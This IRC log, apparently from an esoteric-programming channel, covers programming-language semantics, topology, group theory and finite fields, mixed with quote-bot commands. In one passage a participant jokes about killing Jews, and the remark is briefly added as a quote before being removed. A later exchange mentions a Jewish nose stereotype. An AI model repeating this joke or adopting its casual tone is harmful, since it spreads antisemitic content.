22:33:15 <ais523> so it'd just be "constrain C"
22:33:24 <ais523> which might or might not throw an exception
22:33:35 <elliott> the problem with that is that if you evaluate an expression before constrain C, it might be OK
22:33:39 <elliott> but it might be an error afterwards
22:33:46 <elliott> which breaks RT, albeit in a way I think undetectable from the outside
22:33:47 <ais523> and outbound in that it affects its callers too
22:33:54 <ais523> what does RT stand for?
22:34:08 <elliott> aka things not changing randomly from behind your back
22:34:35 <ais523> oh, constrain C in E is obviously fine, you can convert it into an extra function parameter
22:35:11 <ais523> so it's just sugar around the ordinary LCish way of doing things
22:35:20 <elliott> ais523: that's OK if you add do-notation; then you can use Cont to recover nice syntax
22:35:24 <ais523> I'm just not convinced it's useful
22:35:44 <elliott> I am not sure "constrain C in E" is fine
22:35:52 <elliott> it sounds like it breaks parametricity to me
22:36:34 <elliott> because foo x could = exception instead
22:36:46 <ais523> I've thought of a different way to do it, anyway, that's obviously fine; simply stick the constraints on the data structure you're operating on using metadata, then grab them all at once with '', then have a constraint-solving library function
22:36:50 <elliott> ie you can observe things about values by wrapping them in constrain
22:37:59 <oerjan> `addquote <fizzie> elliott: I'm not going to even bother with the recursive "I'm not going to dignify that" stuff. <fizzie> *LAA LAA LAA NOT DIGNIFYING LAA LAA*
22:38:03 <HackEgo> 812) <fizzie> elliott: I'm not going to even bother with the recursive "I'm not going to dignify that" stuff. <fizzie> *LAA LAA LAA NOT DIGNIFYING LAA LAA*
22:38:47 <HackEgo> *poof* <fizzie> elliott: I'm not going to even bother with the recursive "I'm not going to dignify that" stuff. <fizzie> *LAA LAA LAA NOT DIGNIFYING LAA LAA*
22:38:58 <oerjan> `addquote <fizzie> elliott: I'm not going to even bother with the recursive "I'm not going to dignify that" stuff. [...] <fizzie> *LAA LAA LAA NOT DIGNIFYING LAA LAA*
22:39:02 <HackEgo> 812) <fizzie> elliott: I'm not going to even bother with the recursive "I'm not going to dignify that" stuff. [...] <fizzie> *LAA LAA LAA NOT DIGNIFYING LAA LAA*
22:39:14 <HackEgo> 1) <Aftran> I used computational linguistics to kill her. \ 2) <Slereah> EgoBot just opened a chat session with me to say "bork bork bork" \ 3) <Quas_NaArt> Hmmm... My fingers and tongue seem to be as quick as ever, but my lips have definitely weakened... <Quas_NaArt> More practice is in order. \ 4) <AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop \ 5) <Warrigal> GKennethR: he should be told
22:39:28 <HackEgo> 39) <mycroftiv> [...] sometimes i cant get out of bed becasue the geometry of the sheet tangle is too fascinating from a topological perspective \ 81) [Warrigal] `addquote <Dylan> hahaha, Lawlabee is running windows <Lawlabee> 'cuz it's pretty awesome. [Lawlabee] Warrigal: :( \ 112) * augur rubs alise's bum [...] <augur> what? she said square ped <augur> :| \ 121) <fungot> pikhq: from csh type ' exit', is a
22:40:12 <oerjan> i'm not entirely sure of the perfectly elliotic spacing of [...]
22:40:20 <oklopol> have you heard the story about the set that was both open and closed
22:40:30 <elliott> the [...] goes in-between the two spaces
22:40:48 <oerjan> oklopol: SORRY I CANTOR YA
22:40:58 <Phantom_Hoover> I can think of quite a few punchlines to this, none of them good.
22:41:22 <oklopol> Phantom_Hoover: working on it
22:41:51 <oerjan> elliott: yay i got it right then
22:43:19 <oklopol> Phantom_Hoover: can you think of one that isn't a pun?
22:43:57 -!- PiRSquared has joined.
22:44:27 <Phantom_Hoover> I'm trying to remember that property that's equivalent to no sets but the empty set and the... full set(?) being clopen.
22:45:56 <oklopol> you could probably state it using the term "zero-dimensional", but perhaps not directly, i'm still unsure what the usual definition is.
22:46:22 <Phantom_Hoover> I recall it being something I understood pretty well, but since that basically restricts it to {Hausdorff, compact} I'm not sure I'm remembering reliably.
22:46:41 <oklopol> hausdorff and compact doesn't imply that property
22:46:55 <HackEgo> 140) <fungot> ais523: elf corpses are not considered expensive health food. but the most expensive.
22:46:56 <HackEgo> 111) <alise> use "grep --crazy"
22:46:59 <HackEgo> 353) <tswett> Grr. Why does it exist? Why can't I kill it?
22:47:00 <HackEgo> 254) <fizzie> Deewiant: Did you take the course at some point and/or were you taking it now and/or did you actually already graduate and/or are you still in Otaniemi anyway?
22:47:03 -!- sebbu3 has changed nick to sebbu.
22:47:13 <HackEgo> 131) <Mathnerd314> Gregor-P: I don't think lambda calculus is powerful enough
22:47:19 <oklopol> well still, zero-dimensionality is relevant too
22:47:29 <Phantom_Hoover> oklopol, then the barman says "I'm not giving you a drink, you're in pieces!".
22:47:41 <ais523> I think 111 is the worst there, possibly 131
22:47:49 <HackEgo> 790) <fungot> elliott: to be honest, it doesn't exist in a state of almost perpetual stalemate, and expands to a larger board and more exotic collection of what he refers to as a thermal hull, instead of some kind of clock pun. no, dammit, will this breakfast injure his shrill, bearded, scraggly old men in space. jade's radioactive, omnipotent, space-warping dog named...
22:48:09 <HackEgo> *poof* <alise> use "grep --crazy"
22:48:59 <elliott> Faster Javascript Through Category Theory (johnbender.us)
22:49:36 <oklopol> Phantom_Hoover: i would prefer "i'm not giving you a drink, all sequences completely within you or outside you will have their limit points within you or outside you as well, respectively!".
22:50:48 <oklopol> i should write a book called "funny math jokes hehe"
22:53:52 <oklopol> i guess i can safely give you a drink, since you're currently given continuous dynamics by R as you're in a three-dimensional bar, and thus the throw-up could never leave your body if it was too much for you
22:55:46 <oklopol> "i cannot give you a drink since, given that this bar is, like all the cool bars, a proper subset of R^3, you cannot have any points, so technically you're underage"
22:56:19 <oerjan> <Phantom_Hoover> I'm trying to remember [...] <-- connected
22:56:23 <oklopol> well dunno how old the empty set is
22:56:38 <oklopol> IN MY DEFENSE, I PROBABLY HAVE A FEVER
22:58:33 <oerjan> oh no, the dreaded irc virus!
22:58:44 <oerjan> i knew my headache had to be something fatal.
22:58:53 <oklopol> i have been working home all week so i wouldn't kill everyone at the uni
23:06:24 <tswett> So, about the alternating group on 4 elements.
23:06:47 <tswett> Specifically, its presentation by two generators of order 3.
23:06:49 -!- Goosey has quit (Ping timeout: 252 seconds).
23:07:29 <oerjan> nah it's not simple enough.
23:07:31 <tswett> How easily can you write a Thue program that takes an expression written using these generators and reduces it to a canonical form?
23:08:16 <tswett> The substitution rules I want to use are these: aaa::= bbb::= ba::=aabb
23:08:20 <tswett> Unfortunately, those rules don't actually work.
23:09:40 <oerjan> just include the whole multiplication table on canonical forms?
23:10:05 <oerjan> except for those that are equal before and after
23:10:06 <tswett> Hm... that sounds like it should work.
23:10:13 <oklopol> is that group generated by any two elements of order 3 that aren't powers of each other?
23:10:41 <tswett> oklopol: um... well, A_4 has order 12. What you're talking about sounds like it would be infinite.
23:11:29 <oklopol> i don't think a group of order 6 can be generated, but i don't directly see why
23:11:51 <tswett> A_4 has no subgroup of order 6.
23:12:10 <oklopol> in that case, any two elements of order three will generate it
23:12:24 <oklopol> unless they generate the same subgroup
23:12:26 <tswett> Right. That's why I mentioned its presentation by two generators of order 3.
23:12:34 <oerjan> hm yes all pairs of such 3-order elements must have 2 common elements in their cycle.
23:12:43 <oklopol> you didn't say it doesn't matter which two you choose
23:12:54 <tswett> So, does anyone have a presentation of A_4 on hand?
23:13:14 <oklopol> oerjan: i was hoping for a higher-level argument
23:13:18 <oerjan> so all pairs must generate the same thing up to isomorphism
23:13:30 <tswett> Ooh, the von Dyck group is apparently A_4.
23:13:46 <tswett> Er, one specific von Dyck group is A_4.
23:14:02 <tswett> Namely, the group generated by a, b, and c such that a^3 = b^3 = c^2 = abc = e.
23:14:13 * Phantom_Hoover remembers that he doesn't know as much group theory as he'd like, wishes he'd just hurry up and get to university.
23:14:14 <oklopol> tswett: what you doing these days?
23:14:26 <tswett> oklopol: oh, I'm studying math at university.
23:15:12 <oklopol> have you chosen your path?
23:15:27 <tswett> I wrote an MO question that netted me 260 reputation, though. ^_^
23:15:28 <oklopol> will you do CA theory with me?!?
23:15:46 <tswett> I guess not. I'm planning to go into actuarial, or, if I find something that makes more money, that.
23:16:01 <oklopol> oh i was assuming research
23:16:32 <tswett> I don't *think* research would make as much money as actuarial.
23:16:39 <tswett> Phantom_Hoover: quiet, you, or I'll double your insurance premiums.
23:16:45 <Phantom_Hoover> (My dad once saw Good Will Hunting and then he was like PH, you should totally work for the CIA.)
23:17:08 <oklopol> actuarial will make make more money, but you would be useless
23:17:45 <tswett> So, um, what does the corrected message look like?
23:17:50 -!- augur has quit (Remote host closed the connection).
23:18:25 <tswett> I won't be useless if I donate a bunch of money to some awesome charity.
23:18:25 -!- augur has joined.
23:19:10 <oklopol> "sorry i couldn't come, but you all have fun up there, here take my money"
23:19:26 <tswett> Suppose I make $300,000 and donate half of it to the Against Malaria Foundation. Boom: 75 lives saved every year.
23:19:42 <oklopol> yeah we need more people staying alive
23:19:53 <tswett> Staying alive is nice.
23:20:31 <oklopol> right now, it would make more sense to kill some jews
23:21:05 <Friendship> `addquote <oklopol> right now, it would make more sense to kill some jews
23:21:08 <HackEgo> 812) <oklopol> right now, it would make more sense to kill some jews
23:22:34 <HackEgo> *poof* <oklopol> right now, it would make more sense to kill some jews
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23:23:15 <oklopol> i don't know if i've even met a jew
23:23:23 <oklopol> elliott: why did you remove that? :D
23:23:37 <oerjan> oklopol: BECAUSE HOLOCAUST
23:23:41 <elliott> it definitely wasn't funny without context
23:23:43 <oklopol> really i would prefer the whole exchange
23:23:56 <oklopol> "figuratively speaking" "ah."
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23:24:08 <tswett> Friendship: hey, are you Gregor?
23:24:15 <tswett> Never mind, I figured it out instantly.
23:24:47 <tswett> (I love arrogant Homestuck quotes.)
23:24:53 <tswett> (But I only know of the one.)
23:25:10 <oklopol> is it "Friendship: hey, are you Gregor?"
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23:26:04 <oklopol> seriously though, i'm worried about people destroying the earth, i'm a total hippie
23:26:04 <tswett> Add one to that sentence, and you'll get what it is.
23:26:38 <oklopol> Friendship: you're a jew, no?
23:26:45 <tswett> I'm worried about people destroying Earth. But only where "destroying Earth" is interpreted loosely.
23:26:54 <tswett> I'm not worried about people destroying, in a strict sense, Earth.
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23:27:14 <oklopol> but i thought there was one
23:27:26 <Friendship> It's a religion, a culture, and several races.
23:27:49 <oklopol> i just know the hitler story and the stereotype in american tv shows
23:27:51 <Friendship> I am not a member of the religion, and am only a member of the culture insofar as American Jews are near-universally atheists :)
23:27:52 <tswett> Friendship: do you *look* like a Jew?
23:27:55 <oklopol> we don't have the concept in finland
23:28:04 <tswett> oklopol: the concept of Judaism?
23:28:06 <Friendship> tswett: My nose sure does. But I have blond hair and bluegreensomething eyes, so no, not really.
23:28:25 <oklopol> tswett: the concept of "jew"
23:29:14 <oklopol> or at least i only learned about them in history class and then later tv.
23:30:42 <tswett> Wait, wait. The finite fields have algebraic closures?
23:30:54 <tswett> Are their algebraic closures also finite fields?
23:31:08 <tswett> Oh yeah. It seems more obvious that everything does than that those specific ones do. }:P
23:31:08 <oklopol> they are inverse limits of p^k fields
23:31:41 <tswett> Is this "limit" in the, um... category theory sense, I think it is?
23:32:23 <oklopol> the inverse limit means you take all the F_{p^k} and morphisms from bigger to smaller ones
23:32:42 <oklopol> and points are that you take a point in each of the finite fields so that the morphism form a nice chain
23:32:54 <oklopol> yeah in the category theory sense
23:33:03 <tswett> Are all of those morphisms epi?
23:33:40 <tswett> Intuitively, this sounds a lot like taking the limit of F_{p^k} as k approaches infinity.
23:34:21 <oklopol> i think it's the limit instead: just the union of F_{p^k} fields
23:34:27 <tswett> Except my intuition says *that* would involve monomorphisms from smaller to bigger ones.
23:34:40 <oklopol> (where you have some nice equivalence relation)
23:34:42 <tswett> Is what you jsut said.
23:35:39 <tswett> So, is the algebraic closure of F_{p^k} unique given p?
23:35:56 <oklopol> the algebraic closure is always unique afaiu
23:36:19 <tswett> And the algebraic closure of F_{p^k} must be the same as F_{p^h}, aye?
23:36:43 <oklopol> that i'm not as sure about
23:37:28 <oklopol> i don't really know anything about this, but i'll investigate this further once i'm less sick. now i have to go to work to get my fever up.
23:38:37 <oklopol> erm first what have you taken at the university sofar/
23:38:55 <Phantom_Hoover> Holy crap, at noon on the winter solstice the sun in Edinburgh is *14 degrees* from the horizon.
23:39:24 <Phantom_Hoover> And we _still_ didn't see a single flake of snow this winter.
23:39:32 <tswett> oklopol: well, I'm taking Advanced Calculus II and Modern Algebra II.
23:39:52 <tswett> I.e. analysis and group theory.
23:40:30 <tswett> Strangely enough, I think Advanced Calculus I went farther than Advanced Calculus II is going.
23:41:07 <oklopol> SO WHAT ABOUT SUBSHIFTS, HAVE THEY TOLD YOU ABOUT SUBSHIFTS
23:41:27 <tswett> No, that's what Wikipedia is for.
23:41:40 <oklopol> no wikipedia is for group theory and analysis
23:41:50 <oklopol> university should be all about subshifts
23:42:07 <tswett> Let me guess. You did your PhD on subshifts and cellular automata and ergodic theory.
23:42:21 <oklopol> my phd is not really done yet :D
23:42:31 <oklopol> and my master's thesis was on picture languages!
23:42:55 <oklopol> on subshifts and CA i just have two accepted articles and about 10 in the making
23:43:28 <oklopol> i solved like all the open problems in picture language theory
23:43:33 <tswett> Who was it that did his PhD on sets of biinfinite words such that every factor appears finitely far apart?
23:43:42 <oklopol> and then i realized it was only because all the researchers were stupid
23:44:07 <Phantom_Hoover> oklopol, obviously it was clever of you to pick a field only idiots specialise in.
23:44:47 <oklopol> well i like to think i revolutionized the whole theory and developed all the interesting techniques and am a god.
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23:45:10 <oklopol> i know, my modesty knows no limits.
23:46:02 <oklopol> tswett: i study the opposite kind of biinfinite word sets than what oerjan studied
23:46:56 <tswett> I'm still trying to figure out what the product topology of a finite discrete space is.
23:47:02 <oklopol> where words usually do not, and often CANNOT appear finitely far apart (if by that you mean "every factor of length m appears in every factor of length n for large enough n")
23:47:25 <tswett> Rather, the topology of the product of infinitely many finite discrete spaces.
23:47:37 <oklopol> an open set specifies a finite amount of coordinates in some open sets, and the rest can be anything
23:47:43 <oklopol> or that's a basis at least
23:48:12 <tswett> Mm, I think I'd rather figure out what a closed set is. And I think that means figuring out what a limit is.
23:48:17 <oerjan> <tswett> And the algebraic closure of F_{p^k} must be the same as F_{p^h}, aye? <-- i vaguely think they're both contained in F_{p^(kh)}, which means their limit diagrams have a common tail so to speak and so have the same limit.
23:48:17 <oklopol> (that's the general definition of product topology)
23:48:28 <tswett> I guess it's reasonably obvious what a limit of biinfinite words is, don't you think?
23:48:37 <oklopol> tswett: a limit means eventually, every coordinate becomes constant
23:48:56 <oklopol> well obvious and obvious, there are other topologies you can use
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23:49:29 <tswett> Okay. So, given an oerjan word (for lack of a better name, 'cause that name sucks), we can break it up into the set of all its finite factors.
23:49:38 <oklopol> oerjan: but i don't think it's inverse limit, i think it's just limit
23:49:52 <oklopol> so it's just a union of F_{p^k}
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23:50:14 <tswett> And then given that slurry, we can form the set of all oerjan words (for lack of a . . .) with the same finite factors.
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23:50:31 <oklopol> a uniformly recurrent word i suppose
23:51:05 <tswett> This set certainly satisfies the shift criterion. Is it also closed?
23:51:10 <oklopol> tswett: yeah, and that's exactly the closure of the set of words you obtain by moving it left and right
23:51:22 <oerjan> <tswett> Rather, the topology of the product of infinitely many finite discrete spaces. <-- for countably many, that's homeomorphic to a/the Cantor set.
23:51:42 <tswett> I think the set of all Sturmian words given a single constant is a shift space.
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23:52:03 <tswett> oerjan: for a biinfinite sequence, can you just break it in half, turn one half around so it's pointing the same way as the other half, and interleave them to get the Cantor representation thing?
23:52:16 <tswett> Obviously, it's also a slurry-generated set.
23:52:48 <oklopol> that sounds dangerous w.r.t. shift-closedness
23:53:08 <oklopol> and also you may get weird-ass correlation between patterns
23:53:12 <oerjan> <oklopol> oerjan: but i don't think it's inverse limit, i think it's just limit <-- hm right, every element in the closure should be a root of _some_ polynomial of the original field.
23:53:14 <tswett> Oh, right. What's the topology of the set of all Sturmian words given a single constant?
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23:53:39 <oklopol> the product topology, presumably
23:53:45 <elliott> Today I learned: Friendship's definition of "near-universally" is "52%".
23:54:14 <oerjan> <tswett> oerjan: for a biinfinite sequence, can you [...] <-- yes, since the order of the coordinates don't really play any part in the topology
23:54:17 <tswett> Well... yeah. But it's a *subspace* of the Cantor set, isn't it?
23:54:44 <oklopol> yeah a subshift of it in fact
23:55:12 <oklopol> (assuming that the sturmian words are exactly the orbit closure of the characteristic sturmian word, i think so)
23:55:25 <tswett> I was going to ask if it was homeomorphic to a circle. But it doesn't seem like the Cantor set would have a circle as a subspace.
23:55:49 <oerjan> <oklopol> a uniformly recurrent word i suppose <-- that was the word. btw only _part_ of my phd considered the points to be infinite words.
23:56:01 <tswett> If a space is totally disconnected, must its subspaces be totally disconnected as well?
23:56:37 <oklopol> totally disconnected means if you take any two points then they can be separated by open sets
23:56:58 <oklopol> you can partition the space into two opens each containing one point
23:57:06 <tswett> If you take any two points, you can write the entire... yeah, that.
23:57:12 <oklopol> this is certainly a property the cantor set has
23:57:24 <tswett> It never stops being a property it has.
23:57:39 <oerjan> tswett: totally disconnected ~ 0-dimensional, and dimension cannot increase in subsets
23:58:01 <tswett> Can you quotient S^1 to get S^2?
23:58:30 <tswett> No, of course you can. I think.
23:58:32 <oerjan> you can map S^1 onto S^2, but i'm not sure if that's a quotient
23:59:06 <tswett> It's surjective, all right, and doesn't every continuous surjective function lead to a quotient, or something?
23:59:30 <oerjan> btw every compact metric hausdorff set is the continuous image of a cantor set, iirc
23:59:59 <tswett> Something tells me that has something to do with Haskell.